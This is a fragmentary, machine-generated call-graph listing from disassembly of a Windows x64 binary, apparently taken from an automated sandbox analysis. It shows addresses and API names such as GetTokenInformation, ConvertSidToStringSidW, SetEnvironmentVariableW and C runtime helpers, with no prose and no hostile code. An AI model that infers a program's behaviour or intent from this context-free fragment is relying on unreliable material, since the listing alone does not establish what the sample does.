_get_daylight 11 API calls 18253 7ff7fd740f60 18251->18253 18255 7ff7fd74a950 _invalid_parameter_noinfo 37 API calls 18252->18255 18256 7ff7fd74a950 _invalid_parameter_noinfo 37 API calls 18253->18256 18254->18133 18255->18257 18256->18254 18257->18251 18257->18254 18262 7ff7fd74ecad 18258->18262 18259 7ff7fd74ecb2 18260 7ff7fd74524d 18259->18260 18261 7ff7fd744f78 _get_daylight 11 API calls 18259->18261 18260->18105 18260->18112 18263 7ff7fd74ecbc 18261->18263 18262->18259 18262->18260 18265 7ff7fd74ecfc 18262->18265 18264 7ff7fd74a950 _invalid_parameter_noinfo 37 API calls 18263->18264 18264->18260 18265->18260 18266 7ff7fd744f78 _get_daylight 11 API calls 18265->18266 18266->18263 18268 7ff7fd7482c8 18267->18268 18269 7ff7fd7482b5 18267->18269 18277 7ff7fd747f2c 18268->18277 18271 7ff7fd744f78 _get_daylight 11 API calls 18269->18271 18272 7ff7fd7482ba 18271->18272 18273 7ff7fd74a950 _invalid_parameter_noinfo 37 API calls 18272->18273 18275 7ff7fd7482c6 18273->18275 18275->17432 18284 7ff7fd750348 EnterCriticalSection 18277->18284 18286 7ff7fd7387a1 GetTokenInformation 18285->18286 18287 7ff7fd738823 __std_exception_destroy 18285->18287 18288 7ff7fd7387cd 18286->18288 18289 7ff7fd7387c2 GetLastError 18286->18289 18290 7ff7fd73883c 18287->18290 18291 7ff7fd738836 CloseHandle 18287->18291 18288->18287 18292 7ff7fd7387e9 GetTokenInformation 18288->18292 18289->18287 18289->18288 18290->17437 18291->18290 18292->18287 18293 7ff7fd73880c 18292->18293 18293->18287 18294 7ff7fd738816 ConvertSidToStringSidW 18293->18294 18294->18287 18296 7ff7fd73c8c0 18295->18296 18297 7ff7fd732b74 GetCurrentProcessId 18296->18297 18298 7ff7fd7326b0 48 API calls 18297->18298 18299 7ff7fd732bc7 18298->18299 18300 7ff7fd744c48 48 API calls 18299->18300 18301 7ff7fd732c10 MessageBoxW 18300->18301 18302 7ff7fd73c5c0 _log10_special 8 API calls 18301->18302 18303 7ff7fd732c40 18302->18303 18303->17449 18305 7ff7fd7325e5 18304->18305 18306 7ff7fd744c48 48 API calls 18305->18306 18307 7ff7fd732604 18306->18307 18307->17466 18343 7ff7fd748804 18308->18343 18312 7ff7fd7381cc 18311->18312 18313 7ff7fd739400 2 API calls 18312->18313 18314 7ff7fd7381eb 18313->18314 18315 7ff7fd738206 ExpandEnvironmentStringsW 18314->18315 18316 7ff7fd7381f3 18314->18316 18474 7ff7fd73455a 18473->18474 18475 7ff7fd739400 2 API calls 18474->18475 18476 7ff7fd73457f 18475->18476 18477 7ff7fd73c5c0 _log10_special 8 API calls 18476->18477 18478 7ff7fd7345a7 18477->18478 18478->17489 18481 7ff7fd737e1e 18479->18481 18480 7ff7fd737f42 18483 7ff7fd73c5c0 _log10_special 8 API calls 18480->18483 18481->18480 18482 7ff7fd731c80 49 API calls 18481->18482 18484 7ff7fd737ea5 18482->18484 18485 7ff7fd737f73 18483->18485 18484->18480 18486 7ff7fd731c80 49 API calls 18484->18486 18487 7ff7fd734550 10 API calls 18484->18487 18488 7ff7fd739400 2 API calls 18484->18488 18485->17489 18486->18484 18487->18484 18489 7ff7fd737f13 CreateDirectoryW 18488->18489 18489->18480 18489->18484 18491 7ff7fd731637 18490->18491 18492 7ff7fd731613 18490->18492 18493 7ff7fd7345b0 108 API calls 18491->18493 18613 7ff7fd731050 18492->18613 18495 7ff7fd73164b 18493->18495 18498 7ff7fd731682 18495->18498 18499 7ff7fd731653 18495->18499 18502 7ff7fd7345b0 108 API calls 18498->18502 18501 7ff7fd744f78 _get_daylight 11 API calls 18499->18501 18503 7ff7fd731658 18501->18503 18504 7ff7fd731696 18502->18504 18505 7ff7fd732910 54 API calls 18503->18505 18506 7ff7fd7316b8 18504->18506 18507 7ff7fd73169e 18504->18507 18539 7ff7fd73717b 18538->18539 18541 7ff7fd737134 18538->18541 18539->17489 18541->18539 18681 7ff7fd745094 18541->18681 18543 7ff7fd734191 18542->18543 18544 7ff7fd7344d0 49 API calls 18543->18544 18545 7ff7fd7341cb 18544->18545 18546 7ff7fd7344d0 49 API calls 18545->18546 18547 7ff7fd7341db 18546->18547 18548 7ff7fd7341fd 18547->18548 18549 7ff7fd73422c 18547->18549 18587 7ff7fd731c80 49 API calls 18586->18587 18588 7ff7fd734464 18587->18588 18588->17489 18614 7ff7fd7345b0 108 API calls 18613->18614 18615 7ff7fd73108c 18614->18615 18616 7ff7fd7310a9 18615->18616 18617 7ff7fd731094 18615->18617 18618 7ff7fd740744 73 API calls 18616->18618 18619 7ff7fd732710 54 API calls 18617->18619 18682 7ff7fd7450ce 18681->18682 18683 7ff7fd7450a1 18681->18683 18684 7ff7fd7450f1 18682->18684 18687 7ff7fd74510d 18682->18687 18685 7ff7fd744f78 _get_daylight 11 API calls 18683->18685 18693 7ff7fd745058 18683->18693 18686 7ff7fd744f78 _get_daylight 11 API calls 18684->18686 18688 7ff7fd7450ab 18685->18688 18690 7ff7fd7450f6 18686->18690 18691 7ff7fd744fbc 45 API calls 18687->18691 18689 7ff7fd74a950 _invalid_parameter_noinfo 37 API calls 18688->18689 18692 7ff7fd7450b6 18689->18692 18694 7ff7fd74a950 _invalid_parameter_noinfo 37 API calls 18690->18694 18695 7ff7fd745101 18691->18695 18692->18541 18693->18541 18694->18695 18695->18541 18760 7ff7fd745f38 18759->18760 18761 7ff7fd745f5e 18760->18761 18763 7ff7fd745f91 18760->18763 18762 7ff7fd744f78 _get_daylight 11 API calls 18761->18762 18764 7ff7fd745f63 18762->18764 18765 7ff7fd745f97 18763->18765 18766 7ff7fd745fa4 18763->18766 18767 7ff7fd74a950 _invalid_parameter_noinfo 37 API calls 18764->18767 18768 7ff7fd744f78 _get_daylight 11 API calls 18765->18768 18778 7ff7fd74ac98 18766->18778 18770 7ff7fd734606 18767->18770 18768->18770 18770->17525 18791 7ff7fd750348 EnterCriticalSection 18778->18791 19151 7ff7fd747968 19150->19151 19154 7ff7fd747444 19151->19154 19153 7ff7fd747981 19153->17535 19155 7ff7fd74748e 19154->19155 19156 7ff7fd74745f 19154->19156 19164 7ff7fd7454dc EnterCriticalSection 19155->19164 19157 7ff7fd74a884 _invalid_parameter_noinfo 37 API calls 19156->19157 19163 7ff7fd74747f 19157->19163 19163->19153 19166 7ff7fd73fee1 19165->19166 19167 7ff7fd73feb3 19165->19167 19174 7ff7fd73fed3 19166->19174 19175 7ff7fd7454dc EnterCriticalSection 19166->19175 19168 7ff7fd74a884 _invalid_parameter_noinfo 37 API calls 19167->19168 19168->19174 19174->17539 19177 7ff7fd7345b0 108 API calls 19176->19177 19178 7ff7fd731493 19177->19178 19179 7ff7fd73149b 19178->19179 19180 7ff7fd7314bc 19178->19180 19283 7ff7fd736365 19282->19283 19284 7ff7fd731c80 49 API calls 19283->19284 19285 7ff7fd7363a1 19284->19285 19286 7ff7fd7363aa 19285->19286 19287 7ff7fd7363cd 19285->19287 19288 7ff7fd732710 54 API calls 19286->19288 19289 7ff7fd734620 49 API calls 19287->19289 19312 7ff7fd7363c3 19288->19312 19290 7ff7fd7363e5 19289->19290 19293 7ff7fd73c5c0 _log10_special 8 API calls 19312->19293 19557 7ff7fd74b1c0 __CxxCallCatchBlock 45 API calls 19556->19557 19558 7ff7fd74a451 19557->19558 19559 7ff7fd74a574 __CxxCallCatchBlock 45 API calls 19558->19559 19560 7ff7fd74a471 19559->19560 16441 7ff7fd750938 16442 7ff7fd75095c 16441->16442 16445 7ff7fd75096c 16441->16445 16443 7ff7fd744f78 _get_daylight 11 API calls 16442->16443 16463 7ff7fd750961 16443->16463 16444 7ff7fd750c4c 16447 7ff7fd744f78 _get_daylight 11 API calls 16444->16447 16445->16444 16446 7ff7fd75098e 16445->16446 16448 7ff7fd7509af 16446->16448 16590 7ff7fd750ff4 16446->16590 16449 7ff7fd750c51 16447->16449 16452 7ff7fd750a21 16448->16452 16454 7ff7fd7509d5 16448->16454 16459 7ff7fd750a15 16448->16459 16451 7ff7fd74a9b8 __free_lconv_num 11 API calls 16449->16451 16451->16463 16456 7ff7fd74ec08 _get_daylight 11 API calls 16452->16456 16473 7ff7fd7509e4 16452->16473 16453 7ff7fd750ace 16462 7ff7fd750aeb 16453->16462 16470 7ff7fd750b3d 16453->16470 16605 7ff7fd749730 16454->16605 16460 7ff7fd750a37 16456->16460 16458 7ff7fd74a9b8 __free_lconv_num 11 API calls 16458->16463 16459->16453 16459->16473 16611 7ff7fd75719c 16459->16611 16464 7ff7fd74a9b8 __free_lconv_num 11 API calls 16460->16464 16467 7ff7fd74a9b8 __free_lconv_num 11 API calls 16462->16467 16468 7ff7fd750a45 16464->16468 16465 7ff7fd7509fd 16465->16459 16472 7ff7fd750ff4 45 API calls 16465->16472 16466 7ff7fd7509df 16469 7ff7fd744f78 _get_daylight 11 API calls 16466->16469 16471 7ff7fd750af4 16467->16471 16468->16459 16468->16473 16476 7ff7fd74ec08 _get_daylight 11 API calls 16468->16476 16469->16473 16470->16473 16474 7ff7fd75344c 40 API calls 16470->16474 16482 7ff7fd750af9 16471->16482 16647 7ff7fd75344c 16471->16647 16472->16459 16473->16458 16475 7ff7fd750b7a 16474->16475 16477 7ff7fd74a9b8 __free_lconv_num 11 API calls 16475->16477 16479 7ff7fd750a67 16476->16479 16481 7ff7fd750b84 16477->16481 16480 7ff7fd74a9b8 __free_lconv_num 11 API calls 16479->16480 16480->16459 16481->16473 16481->16482 16483 7ff7fd750c40 16482->16483 16487 7ff7fd74ec08 _get_daylight 11 API calls 16482->16487 16485 7ff7fd74a9b8 __free_lconv_num 11 API calls 16483->16485 16484 7ff7fd750b25 16486 7ff7fd74a9b8 __free_lconv_num 11 API calls 16484->16486 16485->16463 16486->16482 16488 7ff7fd750bc8 16487->16488 16489 7ff7fd750bd9 16488->16489 16490 7ff7fd750bd0 16488->16490 16572 7ff7fd74a514 16489->16572 16492 7ff7fd74a9b8 __free_lconv_num 11 API calls 16490->16492 16513 7ff7fd750bd7 16492->16513 16494 7ff7fd750c7b 16497 7ff7fd74a970 _isindst 17 API calls 16494->16497 16495 7ff7fd750bf0 16656 7ff7fd7572b4 16495->16656 16500 7ff7fd750c8f 16497->16500 16498 7ff7fd74a9b8 __free_lconv_num 11 API calls 16498->16463 16503 7ff7fd750cb8 16500->16503 16507 7ff7fd750cc8 16500->16507 16501 7ff7fd750c17 16504 7ff7fd744f78 _get_daylight 11 API calls 16501->16504 16502 7ff7fd750c38 16506 7ff7fd74a9b8 __free_lconv_num 11 API calls 16502->16506 16505 7ff7fd744f78 _get_daylight 11 API calls 16503->16505 16508 7ff7fd750c1c 16504->16508 16531 7ff7fd750cbd 16505->16531 16506->16483 16509 7ff7fd750fab 16507->16509 16511 7ff7fd750cea 16507->16511 16510 7ff7fd74a9b8 __free_lconv_num 11 API calls 16508->16510 16512 7ff7fd744f78 _get_daylight 11 API calls 16509->16512 16510->16513 16514 7ff7fd750d07 16511->16514 16675 7ff7fd7510dc 16511->16675 16515 7ff7fd750fb0 16512->16515 16513->16498 16518 7ff7fd750d7b 16514->16518 16520 7ff7fd750d2f 16514->16520 16526 7ff7fd750d6f 16514->16526 16517 7ff7fd74a9b8 __free_lconv_num 11 API calls 16515->16517 16517->16531 16522 7ff7fd750da3 16518->16522 16527 7ff7fd74ec08 _get_daylight 11 API calls 16518->16527 16542 7ff7fd750d3e 16518->16542 16519 7ff7fd750e2e 16529 7ff7fd750e4b 16519->16529 16539 7ff7fd750e9e 16519->16539 16690 7ff7fd74976c 16520->16690 16524 7ff7fd74ec08 _get_daylight 11 API calls 16522->16524 16522->16526 16522->16542 16530 7ff7fd750dc5 16524->16530 16525 7ff7fd74a9b8 __free_lconv_num 11 API calls 16525->16531 16526->16519 16526->16542 16696 7ff7fd75705c 16526->16696 16532 7ff7fd750d95 16527->16532 16535 7ff7fd74a9b8 __free_lconv_num 11 API calls 16529->16535 16536 7ff7fd74a9b8 __free_lconv_num 11 API calls 16530->16536 16537 7ff7fd74a9b8 __free_lconv_num 11 API calls 16532->16537 16533 7ff7fd750d57 16533->16526 16541 7ff7fd7510dc 45 API calls 16533->16541 16534 7ff7fd750d39 16538 7ff7fd744f78 _get_daylight 11 API calls 16534->16538 16540 7ff7fd750e54 16535->16540 16536->16526 16537->16522 16538->16542 16539->16542 16543 7ff7fd75344c 40 API calls 16539->16543 16546 7ff7fd75344c 40 API calls 16540->16546 16548 7ff7fd750e5a 16540->16548 16541->16526 16542->16525 16544 7ff7fd750edc 16543->16544 16545 7ff7fd74a9b8 __free_lconv_num 11 API calls 16544->16545 16547 7ff7fd750ee6 16545->16547 16550 7ff7fd750e86 16546->16550 16547->16542 16547->16548 16549 7ff7fd750f9f 16548->16549 16553 7ff7fd74ec08 _get_daylight 11 API calls 16548->16553 16551 7ff7fd74a9b8 __free_lconv_num 11 API calls 16549->16551 16552 7ff7fd74a9b8 __free_lconv_num 11 API calls 16550->16552 16551->16531 16552->16548 16554 7ff7fd750f2b 16553->16554 16555 7ff7fd750f3c 16554->16555 16556 7ff7fd750f33 16554->16556 16581 7ff7fd7504e4 16555->16581 16557 7ff7fd74a9b8 __free_lconv_num 11 API calls 16556->16557 16559 7ff7fd750f3a 16557->16559 16566 7ff7fd74a9b8 __free_lconv_num 11 API calls 16559->16566 16561 7ff7fd750fdf 16565 7ff7fd74a970 _isindst 17 API calls 16561->16565 16562 7ff7fd750f52 SetEnvironmentVariableW 16563 7ff7fd750f97 16562->16563 16564 7ff7fd750f76 16562->16564 16569 7ff7fd74a9b8 __free_lconv_num 11 API calls 16563->16569 16567 7ff7fd744f78 _get_daylight 11 API calls 16564->16567 16568 7ff7fd750ff3 16565->16568 16566->16531 16570 7ff7fd750f7b 16567->16570 16569->16549 16571 7ff7fd74a9b8 __free_lconv_num 11 API calls 16570->16571 16571->16559 16573 7ff7fd74a52b 16572->16573 16574 7ff7fd74a521 16572->16574 16575 7ff7fd744f78 _get_daylight 11 API calls 16573->16575 16574->16573 16578 7ff7fd74a546 16574->16578 16580 7ff7fd74a532 16575->16580 16576 7ff7fd74a950 _invalid_parameter_noinfo 37 API calls 16577 7ff7fd74a53e 16576->16577 16577->16494 16577->16495 16578->16577 16579 7ff7fd744f78 _get_daylight 11 API calls 16578->16579 16579->16580 16580->16576 16582 7ff7fd7504fb 16581->16582 16583 7ff7fd7504f1 16581->16583 16584 7ff7fd744f78 _get_daylight 11 API calls 16582->16584 16583->16582 16585 7ff7fd750517 16583->16585 16589 7ff7fd750503 16584->16589 16586 7ff7fd75050f 16585->16586 16588 7ff7fd744f78 _get_daylight 11 API calls 16585->16588 16586->16561 16586->16562 16587 7ff7fd74a950 _invalid_parameter_noinfo 37 API calls 16587->16586 16588->16589 16589->16587 16591 7ff7fd751029 16590->16591 16592 7ff7fd751011 16590->16592 16593 7ff7fd74ec08 _get_daylight 11 API calls 16591->16593 16592->16448 16599 7ff7fd75104d 16593->16599 16594 7ff7fd7510ae 16596 7ff7fd74a9b8 __free_lconv_num 11 API calls 16594->16596 16595 7ff7fd74a574 __CxxCallCatchBlock 45 API calls 16597 7ff7fd7510d8 16595->16597 16596->16592 16598 7ff7fd74ec08 _get_daylight 11 API calls 16598->16599 16599->16594 16599->16598 16600 7ff7fd74a9b8 __free_lconv_num 11 API calls 16599->16600 16601 7ff7fd74a514 __std_exception_copy 37 API calls 16599->16601 16602 7ff7fd7510bd 16599->16602 16604 7ff7fd7510d2 16599->16604 16600->16599 16601->16599 16603 7ff7fd74a970 _isindst 17 API calls 16602->16603 16603->16604 16604->16595 16606 7ff7fd749749 16605->16606 16607 7ff7fd749740 16605->16607 16606->16465 16606->16466 16607->16606 16720 7ff7fd749208 16607->16720 16612 7ff7fd7571a9 16611->16612 16613 7ff7fd7562c4 16611->16613 16615 7ff7fd744fbc 45 API calls 16612->16615 16614 7ff7fd7562d1 16613->16614 16619 7ff7fd756307 16613->16619 16617 7ff7fd744f78 _get_daylight 11 API calls 16614->16617 16631 7ff7fd756278 16614->16631 16616 7ff7fd7571dd 16615->16616 16620 7ff7fd7571e2 16616->16620 16624 7ff7fd7571f3 16616->16624 16627 7ff7fd75720a 16616->16627 16621 7ff7fd7562db 16617->16621 16618 7ff7fd756331 16622 7ff7fd744f78 _get_daylight 11 API calls 16618->16622 16619->16618 16623 7ff7fd756356 16619->16623 16620->16459 16625 7ff7fd74a950 _invalid_parameter_noinfo 37 API calls 16621->16625 16626 7ff7fd756336 16622->16626 16632 7ff7fd744fbc 45 API calls 16623->16632 16638 7ff7fd756341 16623->16638 16628 7ff7fd744f78 _get_daylight 11 API calls 16624->16628 16629 7ff7fd7562e6 16625->16629 16630 7ff7fd74a950 _invalid_parameter_noinfo 37 API calls 16626->16630 16634 7ff7fd757214 16627->16634 16635 7ff7fd757226 16627->16635 16633 7ff7fd7571f8 16628->16633 16629->16459 16630->16638 16631->16459 16632->16638 16639 7ff7fd74a950 _invalid_parameter_noinfo 37 API calls 16633->16639 16640 7ff7fd744f78 _get_daylight 11 API calls 16634->16640 16636 7ff7fd75724e 16635->16636 16637 7ff7fd757237 16635->16637 16990 7ff7fd758fbc 16636->16990 16981 7ff7fd756314 16637->16981 16638->16459 16639->16620 16641 7ff7fd757219 16640->16641 16644 7ff7fd74a950 _invalid_parameter_noinfo 37 API calls 16641->16644 16644->16620 16646 7ff7fd744f78 _get_daylight 11 API calls 16646->16620 16648 7ff7fd75348b 16647->16648 16649 7ff7fd75346e 16647->16649 16651 7ff7fd753495 16648->16651 17030 7ff7fd757ca8 16648->17030 16649->16648 16650 7ff7fd75347c 16649->16650 16652 7ff7fd744f78 _get_daylight 11 API calls 16650->16652 17037 7ff7fd757ce4 16651->17037 16655 7ff7fd753481 memcpy_s 16652->16655 16655->16484 16657 7ff7fd744fbc 45 API calls 16656->16657 16658 7ff7fd75731a 16657->16658 16659 7ff7fd757328 16658->16659 17049 7ff7fd74ef94 16658->17049 17052 7ff7fd74551c 16659->17052 16663 7ff7fd757414 16666 7ff7fd74a9b8 __free_lconv_num 11 API calls 16663->16666 16667 7ff7fd757425 16663->16667 16664 7ff7fd744fbc 45 API calls 16665 7ff7fd757397 16664->16665 16669 7ff7fd74ef94 5 API calls 16665->16669 16671 7ff7fd7573a0 16665->16671 16666->16667 16668 7ff7fd750c13 16667->16668 16670 7ff7fd74a9b8 __free_lconv_num 11 API calls 16667->16670 16668->16501 16668->16502 16669->16671 16670->16668 16672 7ff7fd74551c 14 API calls 16671->16672 16673 7ff7fd7573fb 16672->16673 16673->16663 16674 7ff7fd757403 SetEnvironmentVariableW 16673->16674 16674->16663 16676 7ff7fd75111c 16675->16676 16677 7ff7fd7510ff 16675->16677 16678 7ff7fd74ec08 _get_daylight 11 API calls 16676->16678 16677->16514 16685 7ff7fd751140 16678->16685 16679 7ff7fd7511c4 16681 7ff7fd74a574 __CxxCallCatchBlock 45 API calls 16679->16681 16680 7ff7fd7511a1 16682 7ff7fd74a9b8 __free_lconv_num 11 API calls 16680->16682 16683 7ff7fd7511ca 16681->16683 16682->16677 16684 7ff7fd74ec08 _get_daylight 11 API calls 16684->16685 16685->16679 16685->16680 16685->16684 16686 7ff7fd74a9b8 __free_lconv_num 11 API calls 16685->16686 16687 7ff7fd7504e4 37 API calls 16685->16687 16688 7ff7fd7511b0 16685->16688 16686->16685 16687->16685 16689 7ff7fd74a970 _isindst 17 API calls 16688->16689 16689->16679 16691 7ff7fd74977c 16690->16691 16695 7ff7fd749785 16690->16695 16691->16695 17074 7ff7fd74927c 16691->17074 16695->16533 16695->16534 16697 7ff7fd757069 16696->16697 16703 7ff7fd757096 16696->16703 16698 7ff7fd75706e 16697->16698 16697->16703 16699 7ff7fd744f78 _get_daylight 11 API calls 16698->16699 16701 7ff7fd757073 16699->16701 16700 7ff7fd7570ce __crtLCMapStringW 16700->16526 16704 7ff7fd74a950 _invalid_parameter_noinfo 37 API calls 16701->16704 16702 7ff7fd7570da 16706 7ff7fd744f78 _get_daylight 11 API calls 16702->16706 16703->16700 16703->16702 16705 7ff7fd7570f9 16703->16705 16707 7ff7fd75707e 16704->16707 16708 7ff7fd757103 16705->16708 16709 7ff7fd757115 16705->16709 16710 7ff7fd7570df 16706->16710 16707->16526 16711 7ff7fd744f78 _get_daylight 11 API calls 16708->16711 16712 7ff7fd744fbc 45 API calls 16709->16712 16713 7ff7fd74a950 _invalid_parameter_noinfo 37 API calls 16710->16713 16714 7ff7fd757108 16711->16714 16715 7ff7fd757122 16712->16715 16713->16700 16716 7ff7fd74a950 _invalid_parameter_noinfo 37 API calls 16714->16716 16715->16700 17121 7ff7fd758b78 16715->17121 16716->16700 16719 7ff7fd744f78 _get_daylight 11 API calls 16719->16700 16721 7ff7fd749221 16720->16721 16734 7ff7fd74921d 16720->16734 16743 7ff7fd752660 16721->16743 16726 7ff7fd749233 16728 7ff7fd74a9b8 __free_lconv_num 11 API calls 16726->16728 16727 7ff7fd74923f 16769 7ff7fd7492ec 16727->16769 16728->16734 16731 7ff7fd74a9b8 __free_lconv_num 11 API calls 16732 7ff7fd749266 16731->16732 16733 7ff7fd74a9b8 __free_lconv_num 11 API calls 16732->16733 16733->16734 16734->16606 16735 7ff7fd74955c 16734->16735 16736 7ff7fd749585 16735->16736 16741 7ff7fd74959e 16735->16741 16736->16606 16737 7ff7fd74ec08 _get_daylight 11 API calls 16737->16741 16738 7ff7fd74962e 16740 7ff7fd74a9b8 __free_lconv_num 11 API calls 16738->16740 16739 7ff7fd750858 WideCharToMultiByte 16739->16741 16740->16736 16741->16736 16741->16737 16741->16738 16741->16739 16742 7ff7fd74a9b8 __free_lconv_num 11 API calls 16741->16742 16742->16741 16744 7ff7fd75266d 16743->16744 16745 7ff7fd749226 16743->16745 16788 7ff7fd74b294 16744->16788 16749 7ff7fd75299c GetEnvironmentStringsW 16745->16749 16750 7ff7fd7529cc 16749->16750 16751 7ff7fd74922b 16749->16751 16752 7ff7fd750858 WideCharToMultiByte 16750->16752 16751->16726 16751->16727 16753 7ff7fd752a1d 16752->16753 16754 7ff7fd752a24 FreeEnvironmentStringsW 16753->16754 16755 7ff7fd74d66c _fread_nolock 12 API calls 16753->16755 16754->16751 16756 7ff7fd752a37 16755->16756 16757 7ff7fd752a48 16756->16757 16758 7ff7fd752a3f 16756->16758 16760 7ff7fd750858 WideCharToMultiByte 16757->16760 16759 7ff7fd74a9b8 __free_lconv_num 11 API calls 16758->16759 16761 7ff7fd752a46 16759->16761 16762 7ff7fd752a6b 16760->16762 16761->16754 16763 7ff7fd752a79 16762->16763 16764 7ff7fd752a6f 16762->16764 16766 7ff7fd74a9b8 __free_lconv_num 11 API calls 16763->16766 16765 7ff7fd74a9b8 __free_lconv_num 11 API calls 16764->16765 16767 7ff7fd752a77 FreeEnvironmentStringsW 16765->16767 16766->16767 16767->16751 16770 7ff7fd749311 16769->16770 16771 7ff7fd74ec08 _get_daylight 11 API calls 16770->16771 16783 7ff7fd749347 16771->16783 16772 7ff7fd74934f 16773 7ff7fd74a9b8 __free_lconv_num 11 API calls 16772->16773 16774 7ff7fd749247 16773->16774 16774->16731 16775 7ff7fd7493c2 16776 7ff7fd74a9b8 __free_lconv_num 11 API calls 16775->16776 16776->16774 16777 7ff7fd74ec08 _get_daylight 11 API calls 16777->16783 16778 7ff7fd7493b1 16975 7ff7fd749518 16778->16975 16779 7ff7fd74a514 __std_exception_copy 37 API calls 16779->16783 16782 7ff7fd7493e7 16785 7ff7fd74a970 _isindst 17 API calls 16782->16785 16783->16772 16783->16775 16783->16777 16783->16778 16783->16779 16783->16782 16786 7ff7fd74a9b8 __free_lconv_num 11 API calls 16783->16786 16784 7ff7fd74a9b8 __free_lconv_num 11 API calls 16784->16772 16787 7ff7fd7493fa 16785->16787 16786->16783 16789 7ff7fd74b2a5 FlsGetValue 16788->16789 16790 7ff7fd74b2c0 FlsSetValue 16788->16790 16791 7ff7fd74b2ba 16789->16791 16792 7ff7fd74b2b2 16789->16792 16790->16792 16793 7ff7fd74b2cd 16790->16793 16791->16790 16794 7ff7fd74b2b8 16792->16794 16795 7ff7fd74a574 __CxxCallCatchBlock 45 API calls 16792->16795 16796 7ff7fd74ec08 _get_daylight 11 API calls 16793->16796 16808 7ff7fd752334 16794->16808 16797 7ff7fd74b335 16795->16797 16798 7ff7fd74b2dc 16796->16798 16799 7ff7fd74b2fa FlsSetValue 16798->16799 16800 7ff7fd74b2ea FlsSetValue 16798->16800 16802 7ff7fd74b318 16799->16802 16803 7ff7fd74b306 FlsSetValue 16799->16803 16801 7ff7fd74b2f3 16800->16801 16805 7ff7fd74a9b8 __free_lconv_num 11 API calls 16801->16805 16804 7ff7fd74af64 _get_daylight 11 API calls 16802->16804 16803->16801 16806 7ff7fd74b320 16804->16806 16805->16792 16807 7ff7fd74a9b8 __free_lconv_num 11 API calls 16806->16807 16807->16794 16831 7ff7fd7525a4 16808->16831 16810 7ff7fd752369 16846 7ff7fd752034 16810->16846 16813 7ff7fd752386 16813->16745 16816 7ff7fd75239f 16817 7ff7fd74a9b8 __free_lconv_num 11 API calls 16816->16817 16817->16813 16818 7ff7fd7523ae 16818->16818 16860 7ff7fd7526dc 16818->16860 16821 7ff7fd7524aa 16822 7ff7fd744f78 _get_daylight 11 API calls 16821->16822 16824 7ff7fd7524af 16822->16824 16823 7ff7fd752505 16826 7ff7fd75256c 16823->16826 16871 7ff7fd751e64 16823->16871 16827 7ff7fd74a9b8 __free_lconv_num 11 API calls 16824->16827 16825 7ff7fd7524c4 16825->16823 16828 7ff7fd74a9b8 __free_lconv_num 11 API calls 16825->16828 16830 7ff7fd74a9b8 __free_lconv_num 11 API calls 16826->16830 16827->16813 16828->16823 16830->16813 16832 7ff7fd7525c7 16831->16832 16833 7ff7fd7525d1 16832->16833 16886 7ff7fd750348 EnterCriticalSection 16832->16886 16836 7ff7fd752643 16833->16836 16838 7ff7fd74a574 __CxxCallCatchBlock 45 API calls 16833->16838 16836->16810 16840 7ff7fd75265b 16838->16840 16841 7ff7fd7526b2 16840->16841 16843 7ff7fd74b294 50 API calls 16840->16843 16841->16810 16844 7ff7fd75269c 16843->16844 16845 7ff7fd752334 65 API calls 16844->16845 16845->16841 16847 7ff7fd744fbc 45 API calls 16846->16847 16848 7ff7fd752048 16847->16848 16849 7ff7fd752054 GetOEMCP 16848->16849 16850 7ff7fd752066 16848->16850 16851 7ff7fd75207b 16849->16851 16850->16851 16852 7ff7fd75206b GetACP 16850->16852 16851->16813 16853 7ff7fd74d66c 16851->16853 16852->16851 16854 7ff7fd74d6b7 16853->16854 16859 7ff7fd74d67b _get_daylight 16853->16859 16855 7ff7fd744f78 _get_daylight 11 API calls 16854->16855 16857 7ff7fd74d6b5 16855->16857 16856 7ff7fd74d69e HeapAlloc 16856->16857 16856->16859 16857->16816 16857->16818 16858 7ff7fd753600 _get_daylight 2 API calls 16858->16859 16859->16854 16859->16856 16859->16858 16861 7ff7fd752034 47 API calls 16860->16861 16862 7ff7fd752709 16861->16862 16863 7ff7fd75285f 16862->16863 16865 7ff7fd752746 IsValidCodePage 16862->16865 16869 7ff7fd752760 memcpy_s 16862->16869 16864 7ff7fd73c5c0 _log10_special 8 API calls 16863->16864 16866 7ff7fd7524a1 16864->16866 16865->16863 16867 7ff7fd752757 16865->16867 16866->16821 16866->16825 16868 7ff7fd752786 GetCPInfo 16867->16868 16867->16869 16868->16863 16868->16869 16887 7ff7fd75214c 16869->16887 16974 7ff7fd750348 EnterCriticalSection 16871->16974 16888 7ff7fd752189 GetCPInfo 16887->16888 16889 7ff7fd75227f 16887->16889 16888->16889 16894 7ff7fd75219c 16888->16894 16890 7ff7fd73c5c0 _log10_special 8 API calls 16889->16890 16891 7ff7fd75231e 16890->16891 16891->16863 16898 7ff7fd752eb0 16894->16898 16899 7ff7fd744fbc 45 API calls 16898->16899 16900 7ff7fd752ef2 16899->16900 16918 7ff7fd74f910 16900->16918 16919 7ff7fd74f919 MultiByteToWideChar 16918->16919 16976 7ff7fd74951d 16975->16976 16980 7ff7fd7493b9 16975->16980 16977 7ff7fd749546 16976->16977 16978 7ff7fd74a9b8 __free_lconv_num 11 API calls 16976->16978 16979 7ff7fd74a9b8 __free_lconv_num 11 API calls 16977->16979 16978->16976 16979->16980 16980->16784 16982 7ff7fd756348 16981->16982 16983 7ff7fd756331 16981->16983 16982->16983 16985 7ff7fd756356 16982->16985 16984 7ff7fd744f78 _get_daylight 11 API calls 16983->16984 16986 7ff7fd756336 16984->16986 16988 7ff7fd744fbc 45 API calls 16985->16988 16989 7ff7fd756341 16985->16989 16987 7ff7fd74a950 _invalid_parameter_noinfo 37 API calls 16986->16987 16987->16989 16988->16989 16989->16620 16991 7ff7fd744fbc 45 API calls 16990->16991 16992 7ff7fd758fe1 16991->16992 16995 7ff7fd758c38 16992->16995 16997 7ff7fd758c86 16995->16997 16996 7ff7fd73c5c0 _log10_special 8 API calls 16998 7ff7fd757275 16996->16998 16999 7ff7fd758d0d 16997->16999 17001 7ff7fd758cf8 GetCPInfo 16997->17001 17004 7ff7fd758d11 16997->17004 16998->16620 16998->16646 17000 7ff7fd74f910 _fread_nolock MultiByteToWideChar 16999->17000 16999->17004 17002 7ff7fd758da5 17000->17002 17001->16999 17001->17004 17003 7ff7fd74d66c _fread_nolock 12 API calls 17002->17003 17002->17004 17005 7ff7fd758ddc 17002->17005 17003->17005 17004->16996 17005->17004 17006 7ff7fd74f910 _fread_nolock MultiByteToWideChar 17005->17006 17007 7ff7fd758e4a 17006->17007 17008 7ff7fd758f2c 17007->17008 17009 7ff7fd74f910 _fread_nolock MultiByteToWideChar 17007->17009 17008->17004 17010 7ff7fd74a9b8 __free_lconv_num 11 API calls 17008->17010 17011 7ff7fd758e70 